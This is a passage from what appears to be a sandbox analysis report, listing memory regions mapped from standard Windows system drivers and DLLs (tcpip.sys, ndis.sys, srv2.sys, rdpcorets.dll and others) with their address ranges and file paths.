0x1b100000 end_va = 0x1b101fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 10125 start_va = 0x1b0e0000 end_va = 0x1b0f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 10126 start_va = 0x1edb0000 end_va = 0x1f006fff monitored = 0 entry_point = 0x1efbce10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 10127 start_va = 0x1b0e0000 end_va = 0x1b0f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 10128 start_va = 0x1edb0000 end_va = 0x1f006fff monitored = 0 entry_point = 0x1efbce10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 10129 start_va = 0x1b0e0000 end_va = 0x1b0e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 10130 start_va = 0x1edb0000 end_va = 0x1eec0fff monitored = 0 entry_point = 0x1eea1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 10131 start_va = 0x1b0e0000 end_va = 0x1b0e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 10132 start_va = 0x1edb0000 end_va = 0x1eec0fff monitored = 0 entry_point = 0x1eea1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 10133 start_va = 0x1b0e0000 end_va = 0x1b0e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 10134 start_va = 0x1edb0000 end_va = 0x1eec0fff monitored = 0 entry_point = 0x1eea1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 10135 start_va = 0x1b0e0000 end_va = 0x1b0e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 10136 start_va = 0x1edb0000 end_va = 0x1eec0fff monitored = 0 entry_point = 0x1eea1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 10137 start_va = 0x1b0e0000 end_va = 0x1b0e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 10138 start_va = 0x1edb0000 end_va = 0x1eec0fff monitored = 0 entry_point = 0x1eea1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 10139 start_va = 0x1b0e0000 end_va = 0x1b0e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 10140 start_va = 0x1edb0000 end_va = 0x1eec0fff monitored = 0 entry_point = 0x1eea1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 10141 start_va = 0x1b0e0000 end_va = 0x1b0effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 10142 start_va = 0x1b0f0000 end_va = 0x1b0fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 10143 start_va = 0x1b0e0000 end_va = 0x1b0effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 10144 start_va = 0x1b0f0000 end_va = 0x1b0fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 10145 start_va = 0x1b0e0000 end_va = 0x1b0e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 10146 start_va = 0x1edb0000 end_va = 0x1f1b7fff monitored = 0 entry_point = 0x1ee7e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 10147 start_va = 0x1b0e0000 end_va = 0x1b0e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 10148 start_va = 0x1edb0000 end_va = 0x1f1b7fff monitored = 0 entry_point = 0x1ee7e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 10149 start_va = 0x1b0e0000 end_va = 0x1b0e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 10150 start_va = 0x1edb0000 end_va = 0x1f1b7fff monitored = 0 entry_point = 0x1ee7e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 10151 start_va = 0x1b0e0000 end_va = 0x1b0e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 10152 start_va = 0x1edb0000 end_va = 0x1f1b7fff monitored = 0 entry_point = 0x1ee7e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 10153 start_va = 0x1b0e0000 end_va = 0x1b18efff monitored = 0 entry_point = 0x1b157000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 10154 start_va = 0x1b190000 end_va = 0x1b1a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 10155 start_va = 0x1b0e0000 end_va = 0x1b18efff monitored = 0 entry_point = 0x1b157000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 10156 start_va = 0x1b190000 end_va = 0x1b1a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 10157 start_va = 0x1b0e0000 end_va = 0x1b18efff monitored = 0 entry_point = 0x1b157000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 10158 start_va = 0x1b190000 end_va = 0x1b1a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 10159 start_va = 0x1b0e0000 end_va = 0x1b18efff monitored = 0 entry_point = 0x1b157000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 10160 start_va = 0x1b190000 end_va = 0x1b1a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 10161 start_va = 0x1b0e0000 end_va = 0x1b18efff monitored = 0 entry_point = 0x1b157000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 10162 start_va = 0x1b190000 end_va = 0x1b1a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 10163 start_va = 0x1b0e0000 end_va = 0x1b18efff monitored = 0 entry_point = 0x1b157000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 10164 start_va = 0x1b190000 end_va = 0x1b1a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 10165 start_va = 0x1b0e0000 end_va = 0x1b1b4fff monitored = 0 entry_point = 0x1b10e0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 10166 start_va = 0x1b9d0000 end_va = 0x1b9d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 10167 start_va = 0x1b0e0000 end_va = 0x1b1b4fff monitored = 0 entry_point = 0x1b10e0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 10168 start_va = 0x1b9d0000 end_va = 0x1b9d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 10169 start_va = 0x1b0e0000 end_va = 0x1b140fff monitored = 0 entry_point = 0x1b0f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 10170 start_va = 0x1b150000 end_va = 0x1b153fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 10171 start_va = 0x1b0e0000 end_va = 0x1b140fff monitored = 0 entry_point = 0x1b0f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 10172 start_va = 0x1b150000 end_va = 0x1b153fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 10173 start_va = 0x1b0e0000 end_va = 0x1b140fff monitored = 0 entry_point = 0x1b0f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 10174 start_va = 0x1b150000 end_va = 0x1b153fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 10175 start_va = 0x1b0e0000 end_va = 0x1b140fff monitored = 0 entry_point = 0x1b0f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 10176 start_va = 0x1b150000 end_va = 0x1b153fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 10177 start_va = 0x1b0e0000 end_va = 0x1b140fff monitored = 0 entry_point = 0x1b0f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 10178 start_va = 0x1b150000 end_va = 0x1b153fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 10179 start_va = 0x1b0e0000 end_va = 0x1b140fff monitored = 0 entry_point = 0x1b0f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 10180 start_va = 0x1b150000 end_va = 0x1b153fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 10181 start_va = 0x1b0e0000 end_va = 0x1b127fff monitored = 0 entry_point = 0x1b11acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 10182 start_va = 0x1b130000 end_va = 0x1b132fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 10183 start_va = 0x1b0e0000 end_va = 0x1b127fff monitored = 0 entry_point = 0x1b11acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 10184 start_va = 0x1b130000 end_va = 0x1b132fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 10185 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10186 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10187 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10188 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10189 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10190 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10191 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10192 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10193 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10194 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10195 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10196 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10197 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10198 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10199 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10200 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10201 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10202 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10203 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10204 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10210 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10211 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10212 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10213 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10214 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10215 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10216 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10217 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10218 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10219 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10220 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10221 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10222 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10223 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10224 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 10225 start_va = 0x1edb0000 end_va = 0x1eecffff monitored = 0 entry_point = 0x1eeac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 10226 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10227 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10228 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10229 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10230 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10231 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10232 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10233 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10234 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10235 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10236 start_va = 0x1b0e0000 end_va = 